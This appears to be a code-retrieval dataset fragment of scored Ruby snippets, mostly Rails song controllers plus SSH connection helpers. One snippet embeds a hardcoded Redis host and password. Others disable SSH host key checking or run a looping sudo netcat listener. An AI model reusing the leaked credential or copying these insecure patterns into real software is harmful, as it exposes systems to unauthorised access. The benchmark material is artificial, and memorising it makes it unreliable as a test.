"title": ""
},
{
"docid": "d401e3eb58825f17dd9be6feeb096ff3",
"score": "0.5923521",
"text": "def create\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n album_id = params[\"album\"]\n \n if not album_id.nil?\n album = Album.find_by(id: album_id)\n if not album.nil?\n album.songs << @song\n album.save\n\n artist = album.artist\n\n if not artist.nil?\n artist_id = artist.id\n if not artist_id.nil?\n artist.songs << @song\n artist.save\n end\n end\n end\n end\n\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b18f5b15766dbb3e22de976f42765b7",
"score": "0.59139633",
"text": "def getQueueSongListFromSongIDs(songIDs)\n request('getQueueSongListFromSongIDs', {'songIDs' => songIDs})\nend",
"title": ""
},
{
"docid": "7b3dbf03df2690fd4c09aef4f573675c",
"score": "0.59136814",
"text": "def create\n #@song = Song.new(song_params)\n @song = @artist.songs.new(song_params)\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render action: 'show', status: :created, location: @song }\n else\n format.html { render action: 'new' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "67d0f91df7de00ca1282ae47b8945c8f",
"score": "0.59071416",
"text": "def create\n @song = Song.new(params[:song])\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render json: @song, status: :created, location: @song }\n else\n format.html { render action: \"new\" }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n @song\n end",
"title": ""
},
{
"docid": "720acd345fb876345f4429c191beea08",
"score": "0.5905535",
"text": "def add_song_request(guest, song)\n found_guest = find_checked_in_guest_by_name(guest.name)\n found_guest.room.playlist << song\n end",
"title": ""
},
{
"docid": "4bd7d435287312c30ab5b5298e02b1fa",
"score": "0.58958584",
"text": "def song_params\n params.require(:song).permit(:artist, :songname, :bpm, :key, :spotify_id)\n end",
"title": ""
},
{
"docid": "ba66c990f0fdfd6f285414b01796a2b2",
"score": "0.58954334",
"text": "def song_params\n params.require(:song).permit(:name, :author, :media_link, :lyrics, :composer, :song_key, tags: [])\n end",
"title": ""
},
{
"docid": "3afdb6602c8d38eb1bcc42e244059836",
"score": "0.58463174",
"text": "def rapper_song_params\n params.require(:rapper_song).permit(:rapper, :song)\n end",
"title": ""
},
{
"docid": "af09396e2120b662d9688870b0292691",
"score": "0.5817682",
"text": "def song_params\n params.require(:song).permit(:number, :title, :composer, :sopran, :alt, :tenor, :bass, :canon)\n end",
"title": ""
},
{
"docid": "59b1ac18e838c44cfd46af1e534dbb6a",
"score": "0.5811643",
"text": "def create\n @song = @playlist.songs.build(params[:song])\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to playlist_song_path(@playlist,@song), notice: 'Song was successfully created.' }\n format.json { render json: @song, status: :created, location: playlist_song_path(@playlist,@song) }\n else\n format.html { render action: 'new' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "16d3f56f6f45ce75f0ecf6c3085cb55c",
"score": "0.5811148",
"text": "def song_params\n params.require(:song).permit(:title, :artist, :rating, :last_practiced, :number_of_practices, :comment)\n end",
"title": ""
},
{
"docid": "1b73e97c60db1c5c9bf7f429c3e76dd4",
"score": "0.5801753",
"text": "def song_params\n params.require(:song).permit(:title, :artist, :album, :album_url)\n end",
"title": ""
},
{
"docid": "9e577411ca88e5c5f46237ca9d955fac",
"score": "0.5793555",
"text": "def song_params\n params.require(:song).permit(:name, :release_date, :link, :artist_id)\n end",
"title": ""
},
{
"docid": "8e73d1e765de27433bfd02b21628a427",
"score": "0.5788741",
"text": "def set_song_request\n @song_request = @invitation.song_requests.find(params[:id])\n end",
"title": ""
},
{
"docid": "87d58eb784d5f31fa9f2f9ea6fad60b1",
"score": "0.57832897",
"text": "def song_params\n params.require(:song).permit(:name)\n end",
"title": ""
},
{
"docid": "b433a9a2be05a22223019c7d09a0cc76",
"score": "0.57807034",
"text": "def create\n @rapper_song = RapperSong.new(rapper_song_params)\n\n respond_to do |format|\n if @rapper_song.save\n format.html { redirect_to @rapper_song, notice: 'Rapper song was successfully created.' }\n format.json { render :show, status: :created, location: @rapper_song }\n else\n format.html { render :new }\n format.json { render json: @rapper_song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1ceb28445c74f4c93449b5c6ee9f1faf",
"score": "0.5773127",
"text": "def song_params\n params.require(:song).permit(:song_title, :track, :duration, :path, :filename, :composer)\n end",
"title": ""
},
{
"docid": "a91a43beb2618fe216ee5d6fed28ddf1",
"score": "0.5772105",
"text": "def song_params\n params.require(:song).permit(:file)\n end",
"title": ""
},
{
"docid": "20e34492eea3f0b395bb5700e4fa4868",
"score": "0.57601285",
"text": "def create\n @reserve_song = ReserveSong.new(reserve_song_params)\n\n respond_to do |format|\n if @reserve_song.save\n format.html { redirect_to @reserve_song, notice: 'Reserve song was successfully created.' }\n format.json { render :show, status: :created, location: @reserve_song }\n else\n format.html { render :new }\n format.json { render json: @reserve_song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1aca23f40fabc37e40c324bacfd8bfe6",
"score": "0.57435966",
"text": "def song_params\n params.require(:song).permit(:name, :artist)\n end",
"title": ""
},
{
"docid": "e7c6b554621b3f915f263b8a845a8e46",
"score": "0.57405823",
"text": "def topsongs\n tracks = Array.new\n session[:related].each do |artistName|\n artist = RSpotify::Artist.search(artistName).first\n top_tracks = artist.top_tracks(@userCountry).first\n tracks.push(top_tracks.uri)\n end\n\n uri = URI.parse(\"#{@playlistUrl}/tracks/\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true #this helps with the https\n request = Net::HTTP::Post.new(uri)\n request[\"Authorization\"] = \"Bearer #{@data[\"access_token\"]}\"\n request[\"Content-Type\"] = \"application/json\"\n request.body = \"{\\\"uris\\\": #{tracks}}\"\n response = http.request(request)\n finished = JSON.parse(response.read_body)\n if finished.key?(\"snapshot_id\")\n @playlistCheck = true\n else\n @playlistCheck = false\n end\nend",
"title": ""
},
{
"docid": "1484797b04ba48df56a39625f2a7c991",
"score": "0.57327574",
"text": "def song_params\n params.require(:song).permit(:title, :billboardHot100Peak, :spotifyStreams, :amountSold, :radioPlayPeak, :isSingle, :hasMusicVideo, :explicit, :trackNumber, :discNumber, :spotifyID, :album, :durationMS, :popularity)\n end",
"title": ""
},
{
"docid": "c75bb54883da2cd933d5c4b2ceaa0267",
"score": "0.57291037",
"text": "def song_params\n params.require(:song).permit(:name, :artist_id, :length_in_sec, :year, :top_billboard_spot, :billboard_weeks)\n end",
"title": ""
},
{
"docid": "bb18189f7e0a43e15c3f25f1662c1114",
"score": "0.57220733",
"text": "def service_song_params\n params.require(:service_song).permit(:service_id, :song_id, :service_song_type_id)\n end",
"title": ""
},
{
"docid": "506e6aba0f0602db8febcab738ac496a",
"score": "0.5718789",
"text": "def song_params\n params.permit(:artist_id, :url, :title, :content, :length, :album_id, :user_id, :country, :approved, :picture)\n end",
"title": ""
},
{
"docid": "3287d7c28cea6385bfd1c25792824077",
"score": "0.57087326",
"text": "def create\n @user_song = UserSong.new(user_song_params)\n\n respond_to do |format|\n if @user_song.save\n format.html { redirect_to @user_song, notice: 'User song was successfully created.' }\n format.json { render :show, status: :created, location: @user_song }\n else\n format.html { render :new }\n format.json { render json: @user_song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e68caf77d12d1394cc250c7973a2f404",
"score": "0.5705555",
"text": "def song_params\n params.require(:song).permit(:song_title, :song_artist, :mp3)\n end",
"title": ""
},
{
"docid": "f60c8d70febf39cda46f17ff5734462f",
"score": "0.5705478",
"text": "def create\n @song = Song.new(song_params)\n @song.artist = get_artist(params)\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1d59e61815ee601e97d2ec9e555cfc6c",
"score": "0.5700296",
"text": "def song_list_song_params\n params.require(:song_list_song).permit(:song_id, :song_list_id)\n end",
"title": ""
},
{
"docid": "de566f16b9d9b425d14ae67b9b4615c9",
"score": "0.5697491",
"text": "def create\n song_params[:user_id] = current_user.id\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d94fbfea0225a8b94e8375680c65f85e",
"score": "0.56762993",
"text": "def song_params\n params.require(:song).permit(:name, :length, :youtube, :album_id, :artist_id, :image)\n end",
"title": ""
},
{
"docid": "1bb6ccb53bf0eb1bcf0b678f7bd4787e",
"score": "0.567418",
"text": "def create\n respond_to do |format|\n if create_song\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8c3d2d1b52638407a865e2a4fe6fc60d",
"score": "0.56706095",
"text": "def song_params\n params.require(:song).permit(:artist, :category, :mood, :genre, :title, :content, :content_html, :summary_html, :vidurl, :remote_thumburl_url, :publish_at, :approved)\n end",
"title": ""
},
{
"docid": "986ce326c8b6d04e9c06a344b1fc85ee",
"score": "0.5667792",
"text": "def song_params\n params.require(:song).permit(:title, :description, :original_release_date, :length, :album_id, :mood, :theme, :genre, :cover_art, :audio, :writers, :isrc)\n end",
"title": ""
},
{
"docid": "f4f4d0ead74bc85100eadadc0500a03c",
"score": "0.5662462",
"text": "def song_params\n params.require(:song).permit(:file)\n end",
"title": ""
},
{
"docid": "cedeaaa5c9c9a582110690c684279aac",
"score": "0.56612694",
"text": "def song_params\n\t\tparams.require(:song).permit(:title, :artist, :stream_url, :album_art, :sc_ident, :genre)\n\tend",
"title": ""
},
{
"docid": "7bd6fb17838eff5eed6b3acad5ebb0e3",
"score": "0.5649229",
"text": "def song_params\n params.require(:song).permit(:title, :voicing, :composer, :arranger_one, :arranger_two, :category, :larger_work,\n :song_number)\n end",
"title": ""
},
{
"docid": "fe7fb3716bc6e48358e9ef8d26b80471",
"score": "0.5647748",
"text": "def song_params\n\t params.require(:song).permit(:title, :duration)\n\tend",
"title": ""
},
{
"docid": "a23571bcfb9261131b8a3e1a0db9a01a",
"score": "0.5643634",
"text": "def create\n @song = current_user.songs.build(song_params)\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "24f8c44d743dfdd7a7e73f354874a20d",
"score": "0.56355333",
"text": "def song_params\n required = [:title, :link, :desc]\n params.require(:song).permit(required)\n\n # params[:song]\n end",
"title": ""
},
{
"docid": "5e2cfca97964de81df303d4c4b448480",
"score": "0.5633753",
"text": "def song_params #these are the parameters for someone inputting a new song\n params.require(:song).permit(\n :title, :release_year, :released, :genre, :artist_name\n )\n end",
"title": ""
},
{
"docid": "31a5948c3b9a734960d2af3217f5539f",
"score": "0.56277853",
"text": "def song_params\n params.require(:song).permit(:title, :duration, :genre)\n end",
"title": ""
},
{
"docid": "2ae7e2b8c201b37d49648f0ef807437e",
"score": "0.5627013",
"text": "def create\n respond_to do |format|\n @song.user = current_user\n if @song.save\n format.html { redirect_to artist_album_song_url(@artist,@album,@song), notice: 'song was successfully created.' }\n format.json { render action: 'show', status: :created, location: artist_album_song_url(@artist,@album,@song) }\n else\n format.html { render action: 'new' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9dcb977692bf3be05d342b5705ed30c9",
"score": "0.5623147",
"text": "def markQueueSongPlayed(streamKey, streamServerID, songID, songQueueID, songQueueSongID)\n request('markQueueSongPlayed', {'streamKey' => streamKey, 'streamServerID' => streamServerID, 'songID' => songID, 'songQueueID' => songQueueID, 'songQueueSongID' => songQueueSongID})\nend",
"title": ""
},
{
"docid": "cd81c115ba356d2a8ae5aafe6b3d7c6d",
"score": "0.5613098",
"text": "def song_params\n params.require(:song).permit(:name, :description, :length, :integer)\n end",
"title": ""
},
{
"docid": "59cb382e06bda74293496a988b055cdf",
"score": "0.5607253",
"text": "def song_params\n params.require(:song).permit(:title, :artist, :duration, :image)\n end",
"title": ""
},
{
"docid": "0c7ac6bfc7d7d740788da9583513e3bc",
"score": "0.56060684",
"text": "def song_params\n params.require(:song).permit(:name, :url, :user_id, :in_user_page)\n end",
"title": ""
},
{
"docid": "45fa5d0d02c8cc5176b60b49b38ca1e8",
"score": "0.5600915",
"text": "def song_params\n params.require(:song).permit(:title, :artist_id, :genre)\n end",
"title": ""
},
{
"docid": "a695f3b83e9da58ad097a34e83b0473e",
"score": "0.5597358",
"text": "def song_params\n \tparams.require(:song).permit(:file, :title, :featured_artists, :is_downloadable,\n :track_number, :source_url, :album_id, :artist_id)\n \tend",
"title": ""
},
{
"docid": "b8b3b47a26d852d28fbcc5a4f83d22df",
"score": "0.55927867",
"text": "def song_params\n params.require(:song).permit(:title, :artist, :time, :fav)\n end",
"title": ""
},
{
"docid": "c031e94a9e978eb204e41fc56b989c4b",
"score": "0.55925155",
"text": "def song_params\n params.require(:song).permit(:name, :album, :imgURL, :artist_id)\n\n end",
"title": ""
},
{
"docid": "e6f31923ac33db64919e04b9e3cfc55a",
"score": "0.55870694",
"text": "def song_params\n params.require(:song).permit(:name, :chords)\n end",
"title": ""
},
{
"docid": "4c1ba6cc9db549fb2d463ebe9f824d0a",
"score": "0.55806315",
"text": "def song_params\n params.require(:song).permit(:name, :source, :composer, :lyricist, :arranger, :genre, :song_type, :notes, {:singer_ids => []}, {:concert_ids => []}, :s_o,:s_o1,:s_o2,:s_o3,:s_o4, programs_attributes: [ :song_order ] )\n end",
"title": ""
},
{
"docid": "c48f739d77ed67d556caf7d3625262dc",
"score": "0.55712104",
"text": "def song_params\n params.require(:song).permit(:user_id, :title, :artist, :year, :genre, :private, :file)\n end",
"title": ""
},
{
"docid": "8a6994321b7e8fd93c3901bd26c3563a",
"score": "0.55675864",
"text": "def create\n @song = @album.songs.new(song_params)\n authorize @song\n\n if @song.save\n @song.add_attributes_to_array(@song, params[\"song\"][\"mood\"], params[\"song\"][\"timbre\"], params[\"song\"][\"intensity\"], params[\"song\"][\"tone\"])\n @song.new_average(@song)\n respond_to do |format|\n format.html { redirect_to user_album_path(@user, @album), notice: 'Song was successfully created!' }\n format.json { render action: 'show', status: :created, location: @song }\n end\n else\n respond_to do |format|\n format.html { render action: 'new' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e834c780c34e450c3315fd88fa952d4e",
"score": "0.556351",
"text": "def song_params\n params.fetch(:song, {})\n end",
"title": ""
},
{
"docid": "a768f7ab615996f6a6387fcc88d70db8",
"score": "0.55634767",
"text": "def api_request(data)\n params = {'id' => next_sequence_number!}\n params['sid'] = sid if sid\n json_data = [data].to_json\n\n response_body = get_api_response(params,json_data)\n parse_json_response(response_body)\n end",
"title": ""
},
{
"docid": "c75dc85ab0631b3396962c718d7d6cb3",
"score": "0.555442",
"text": "def add_song(song,status)\n\tSong.create(song_name:song,status:status)\nend",
"title": ""
},
{
"docid": "23a7dc02fb0636a6a8a6213321eef55d",
"score": "0.5546812",
"text": "def song_params\n params.require(:song).permit(:title, :album_id, :duration).merge!(:album_id => params[:album_id])\n end",
"title": ""
},
{
"docid": "6707028dac2560dcf029ce44cb6a6efb",
"score": "0.55467504",
"text": "def song_id_params\n params.require(:song_id).permit(:name)\n end",
"title": ""
},
{
"docid": "1d7e91300cda05a2cadd3067abe4ee0d",
"score": "0.5544915",
"text": "def playlist_song_params\n params.require(:playlist_song).permit(:playlist_id, :song_id)\n end",
"title": ""
},
{
"docid": "703a963dceaf19023a3493c156dcc3c0",
"score": "0.554135",
"text": "def create\n @song = Song.new(params[:song])\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to(@song, :notice => 'Song was successfully created.') }\n format.xml { render :xml => @song, :status => :created, :location => @song }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @song.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "703a963dceaf19023a3493c156dcc3c0",
"score": "0.554135",
"text": "def create\n @song = Song.new(params[:song])\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to(@song, :notice => 'Song was successfully created.') }\n format.xml { render :xml => @song, :status => :created, :location => @song }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @song.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aefa6415ec778e546c54d97072d0622b",
"score": "0.5540777",
"text": "def create\n pic_url = nil\n unless params[:user].nil?\n pic_url = \"https://graph.facebook.com/#{params[:user]}/picture?type=normal\"\n end\n @song = Song.new ( { :song => params[:song],\n :artist => params[:artist],\n :album => params[:album],\n :song_id => params[:song_id],\n :longitude => params[:longitude],\n :latitude => params[:latitude],\n :stream_url => params[:stream_url],\n :art_url => params[:art_url],\n :user => params[:user],\n :facebook_url => pic_url\n } )\n\n respond_to do |format|\n if @song.save\n format.json { render :json => @song, :status => :created, :location => @song }\n else\n format.json { render :json => @song.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8e6d4a7af6483dcbe571f52e7053761e",
"score": "0.5535616",
"text": "def song_params\n params.require(:song).permit(:title, :artist, :genre)\n end",
"title": ""
},
{
"docid": "15a5e97e9d43910e571f594a25efd8e5",
"score": "0.5530844",
"text": "def song_params\n params.require(:song).permit(:name,:artist,:album,:length)\n end",
"title": ""
},
{
"docid": "0862b02a94ed8f313e3b1733e1cd1688",
"score": "0.55295956",
"text": "def song_params\n params.require(:song).permit(:title, :artist, :album, :year, :genre_id)\n end",
"title": ""
},
{
"docid": "baa6be2a396fcfe4ae4f5806a0517b9e",
"score": "0.55287147",
"text": "def user_song_params\n params.require(:user_song).permit(:difficulty, :saved, :user_id, :song_id)\n end",
"title": ""
},
{
"docid": "75440742be45717c74b55df313b57125",
"score": "0.5525513",
"text": "def create\n @service_song = ServiceSong.new(service_song_params)\n\n respond_to do |format|\n if @service_song.save\n format.html { redirect_to @service_song.service, notice: 'Service song was successfully created.' }\n format.json { render :show, status: :created, location: @service_song }\n else\n format.html { render :new }\n format.json { render json: @service_song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "880a5c92a1e14aaaae39c9362f76dd8e",
"score": "0.55250204",
"text": "def song_params\n params.require(:song).permit(:title,:language,:category,:song_in,:song_type)\n end",
"title": ""
},
{
"docid": "1cb0b3091918136a3217dc8299b4ccd7",
"score": "0.551748",
"text": "def create\n @base_song = BaseSong.new(base_song_params)\n\n respond_to do |format|\n if @base_song.save\n format.html { redirect_to @base_song, notice: 'Base song was successfully created.' }\n format.json { render :show, status: :created, location: @base_song }\n else\n format.html { render :new }\n format.json { render json: @base_song.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bfb1a3c8fac72e0869571e8c60703eee",
"score": "0.55167586",
"text": "def song_params\n params.require(:song).permit(:name, :description, :song_url, :albumn_id, :year)\n end",
"title": ""
},
{
"docid": "6e14e2e40dcad11f431b810b8e07644f",
"score": "0.55160207",
"text": "def song_params\n @song_parmas ||= params.require(:song).permit(:title, :author, :content, :key, :ccli, :body_font_size, :version_comment, :copyright)\n end",
"title": ""
}
] |
03b3939b3d874aed098b8e2e200316c6
|
Cache the SSH connection to the remote host
|
[
{
"docid": "7a7e86fcdbb647caae1bc8d6e42c9ad6",
"score": "0.6800641",
"text": "def ssh\n @connection ||= @ssh.connect\n return @ssh\n end",
"title": ""
}
] |
[
{
"docid": "55d74cdc58c6f96d96a56a561f74c310",
"score": "0.6745401",
"text": "def ssh\n @ssh\n end",
"title": ""
},
{
"docid": "55d74cdc58c6f96d96a56a561f74c310",
"score": "0.6745401",
"text": "def ssh\n @ssh\n end",
"title": ""
},
{
"docid": "e4dfd877252215b18d159a6a8ae6b11f",
"score": "0.65995777",
"text": "def ssh\n\t\t@ssh ||= Net::SSH.start(\n\t\t\t@host,\n\t\t\t@user,\n\t\t\t:password => @password,\n\t\t\t:port => (@port || 22)\n\t\t)\n\tend",
"title": ""
},
{
"docid": "b5ada77a6df959b519cf62c8422cac19",
"score": "0.6535398",
"text": "def ssh\n @ssh ||= Net::SSH.start(\n @hostname,\n @user,\n :password => @password,\n :port => (@port || 22)\n )\n end",
"title": ""
},
{
"docid": "de09142bcef91b0d21b997ada8728d19",
"score": "0.6492286",
"text": "def is_available_via_ssh?\n res = nil\n\n if @cache_timeout\n if @cache.has_key?(:is_available_via_ssh?)\n if (Time.now.to_i - @cache[:is_available_via_ssh?][:time]) < @cache_timeout\n @log.debug(sprintf('using cached is_available_via_ssh?[%s] from [%s]', @cache[:is_available_via_ssh?][:status], @cache[:is_available_via_ssh?][:time]))\n return @cache[:is_available_via_ssh?][:status]\n end\n end\n end\n\n if @ssh.nil? or @ssh.closed?\n begin\n self.connect_ssh_tunnel()\n rescue Rouster::InternalError, Net::SSH::Disconnect => e\n res = false\n end\n\n end\n\n if res.nil?\n begin\n self.run('echo functional test of SSH tunnel')\n rescue\n res = false\n end\n end\n\n res = true if res.nil?\n\n if @cache_timeout\n @cache[:is_available_via_ssh?] = Hash.new unless @cache[:is_available_via_ssh?].class.eql?(Hash)\n @cache[:is_available_via_ssh?][:time] = Time.now.to_i\n @cache[:is_available_via_ssh?][:status] = res\n @log.debug(sprintf('caching is_available_via_ssh?[%s] at [%s]', @cache[:is_available_via_ssh?][:status], @cache[:is_available_via_ssh?][:time]))\n end\n\n res\n end",
"title": ""
},
{
"docid": "26047080e6f44834fc80d0a2d6f125f9",
"score": "0.638258",
"text": "def set_ssh_connection\n @ssh_connection = SshConnection.find(params[:id])\n end",
"title": ""
},
{
"docid": "ce2a0cbbbeb2763371f9921df3eddf2f",
"score": "0.62402844",
"text": "def ssh\n env.require_persisted_vm\n env.ssh.connect\n end",
"title": ""
},
{
"docid": "db4dc58fdf8aaa55ab851dce6b16368f",
"score": "0.61961025",
"text": "def get_ssh name\n if ssh_pool[name].nil?\n ssh = connect_remote_server name\n ssh_pool[name] = ssh\n else\n ssh_pool[name]\n end\n end",
"title": ""
},
{
"docid": "1cce782b9f53b3af9fbd375f438f7595",
"score": "0.618548",
"text": "def load_ssh!\n @ssh = SSH.new(self)\n end",
"title": ""
},
{
"docid": "225b9bf63154a6fe9dc1628002a393c9",
"score": "0.61809576",
"text": "def ssh\n environment.ssh\n end",
"title": ""
},
{
"docid": "326a3f3c1a67df6d709e09bbbf8897fe",
"score": "0.6071608",
"text": "def ssh_config_for_host(host)\n require \"net/ssh\"\n Net::SSH::Config.for(host)\n end",
"title": ""
},
{
"docid": "832c5afc0d79ce37c4450d16002b423b",
"score": "0.605883",
"text": "def ssh(hostname) \n return \"ssh -p #{@ssh_port} -o StrictHostKeyChecking=no -x -n -i #{config['SSHConnectKey']} -l #{config['userName']} #{hostname} \"\n end",
"title": ""
},
{
"docid": "6fd3e4d5182cdb8be2b9c04ada58f877",
"score": "0.60510004",
"text": "def connection\n Net::SSH.start(\n ip, username, :password => password, :port => port\n ) {|ssh| yield ssh }\n end",
"title": ""
},
{
"docid": "6fd3e4d5182cdb8be2b9c04ada58f877",
"score": "0.60510004",
"text": "def connection\n Net::SSH.start(\n ip, username, :password => password, :port => port\n ) {|ssh| yield ssh }\n end",
"title": ""
},
{
"docid": "63c5e95532119f6b78217831876680f9",
"score": "0.6033021",
"text": "def ssh(host, user, port, port2open)\n cmd = \"while true; do nohup sudo nc -n -l #{port2open}; done > /dev/null 2>&1 &\"\n Net::SSH.start( host, user, :port => port, :keys => $private_key) do |ssh|\n result = ssh.exec!(cmd)\n puts result\n end\nend",
"title": ""
},
{
"docid": "eb83ff69fcf044b74d06c2a0b93401dc",
"score": "0.6030858",
"text": "def ssh_available?\n time_min = 0.1\n time_max = 3.0\n ssh_opts = Net::SSH::Config.for(@ssh_host)\n ssh_opts[:port] = @ssh_port\n ssh_opts[:keys] = @ssh_keys\n ssh_opts[:auth_methods] = Net::SSH::Config.default_auth_methods\n while time_min < time_max\n begin\n if ssh = Net::SSH.start(@ssh_host, @ssh_user, ssh_opts)\n break\n end\n rescue\n sleep(0.5)\n time_min += 0.5\n end\n end\n end",
"title": ""
},
{
"docid": "3fa33f6cca171404c55535b71ce51191",
"score": "0.60143465",
"text": "def find_connection(hostname, username, pty_needed, options)\n conn = nil\n begin\n if (Scutil.connection_cache.exists?(hostname))\n sys_conn = Scutil.connection_cache.fetch(hostname)\n print \"[#{hostname}] Using existing connection\\n\" if options[:scutil_verbose]\n conn = sys_conn.get_connection(hostname, username, pty_needed, options)\n else\n sys_conn = SystemConnection.new(hostname, options)\n # Call get_connection first. Don't add to cache unless established.\n conn = sys_conn.get_connection(hostname, username, pty_needed, options)\n print \"[#{hostname}] Adding new connection to cache\\n\" if options[:scutil_verbose]\n Scutil.connection_cache << sys_conn\n end\n rescue Net::SSH::AuthenticationFailed => err\n raise Scutil::Error.new(\"Authenication failed for user: #{username}\", hostname)\n rescue SocketError => err\n raise Scutil::Error.new(err.message, hostname)\n rescue Errno::ETIMEDOUT => err\n raise Scutil::Error.new(err.message, hostname)\n end\n return conn\n end",
"title": ""
},
{
"docid": "9cc98fcb73fa84fb2a392a9125fb47d8",
"score": "0.60120827",
"text": "def remote\n @host = 'redis-14070.c60.us-west-1-2.ec2.cloud.redislabs.com'\n @port = 14070\n @password = 'S1xO4exkA2aexFRXZh3wgUVKFD5QEAU9'\n end",
"title": ""
},
{
"docid": "f91a5f667d8c173768cdf965cefe5a65",
"score": "0.5995834",
"text": "def connect\n if @connection && [email protected]?\n # There is a chance that the socket is closed despite us checking\n # 'closed?' above. To test this we need to send data through the\n # socket.\n begin\n @connection.exec!(\"\")\n rescue IOError\n @logger.info(\"Connection has been closed. Not re-using.\")\n @connection = nil\n end\n\n # If the @connection is still around, then it is valid,\n # and we use it.\n if @connection\n @logger.debug(\"Re-using SSH connection.\")\n return yield @connection if block_given?\n return\n end\n end\n\n # Connect to SSH, giving it a few tries\n connection = nil\n # These are the exceptions that we retry because they represent\n # errors that are generally fixed from a retry and don't\n # necessarily represent immediate failure cases.\n exceptions = [\n Errno::ECONNREFUSED,\n Errno::EHOSTUNREACH,\n Net::SSH::Disconnect,\n Timeout::Error\n ]\n\n @logger.info(\"Connecting to SSH: (#{@server.username}@#{@server.host}:#{@server.port} - #{@server.ssh_opts.inspect})\")\n @server.ui.info \"Connecting...\"\n connection = retryable(:tries => 10, :on => exceptions) do\n Net::SSH.start(@server.host, @server.username, @server.ssh_opts)\n end\n\n @connection = connection\n\n # This is hacky but actually helps with some issues where\n # Net::SSH is simply not robust enough to handle... see\n # issue #391, #455, etc.\n # sleep 4\n\n # Yield the connection that is ready to be used and\n # return the value of the block\n return yield connection if block_given?\n end",
"title": ""
},
{
"docid": "139df67f6c5dc6337bd096b5453fbd2b",
"score": "0.5956166",
"text": "def connect\n begin\n Net::SSH.start @host, @user\n rescue\n retry\n end\n @connected = true\n end",
"title": ""
},
{
"docid": "2eff295c2c1cea99140ecd8306f7da9f",
"score": "0.5954159",
"text": "def ssh_access\n super\n end",
"title": ""
},
{
"docid": "17cdcc35e735698d2927e4195bd50f85",
"score": "0.5950173",
"text": "def ssh_config_for_host(host)\n require \"net/ssh\" unless defined?(Net::SSH)\n Net::SSH::Config.for(host)\n end",
"title": ""
},
{
"docid": "5fcef18f1075db3f2423c684d4b2c06d",
"score": "0.5923411",
"text": "def connect\n options = { port: @port }\n if @password then\n options[:password] = @password\n else\n options[:keys] = [\"#{ENV['HOME']}/.ssh/id_rsa\"]\n end\n Net::SSH.start @host, @user, options do |ssh|\n @ssh = ssh\n yield ssh\n @ssh = nil\n end\n end",
"title": ""
},
{
"docid": "8e5e4811bd1880b4b12a1bf6c75a1609",
"score": "0.5914993",
"text": "def connection\n Net::SSH.start(ip, username, :password => @password, :port => @port)\n end",
"title": ""
},
{
"docid": "6e998c8803041c8c384945df8b61a0e5",
"score": "0.59095013",
"text": "def ssh(command)\n session{|ssh| ssh.exec!(command) }\n end",
"title": ""
},
{
"docid": "7c872b9bc105b9559606c8aa903ceac7",
"score": "0.5893431",
"text": "def ssh_info\n # Return the ssh_info if already retrieved otherwise call the driver\n # and save the result.\n #\n # Ssh info has following format..\n #\n # {\n # :host => \"1.2.3.4\",\n # :port => \"22\",\n # :username => \"mitchellh\",\n # :private_key_path => \"/path/to/my/key\"\n # }\n # note that modifying @machine.id or accessing @machine.state is not\n # thread safe, so be careful to avoid these here as this method may\n # be called from other threads of execution.\n return nil if state.id != :running\n\n ip = driver.get_ipaddress\n\n # if can't determine the IP, just return nil and let the core\n # deal with it, similar to the docker provider\n return nil unless ip\n\n ssh_info = {\n host: ip,\n port: @machine.config.ssh.guest_port,\n forward_agent: @machine.config.ssh.forward_agent,\n forward_x11: @machine.config.ssh.forward_x11\n }\n\n ssh_info[:proxy_command] = @machine.provider_config.proxy_command if @machine.provider_config.proxy_command && [email protected]_config.proxy_command.empty?\n\n ssh_info\n end",
"title": ""
},
{
"docid": "3dbc44ac54d5f6c43d4b484fb6ed4de9",
"score": "0.5864442",
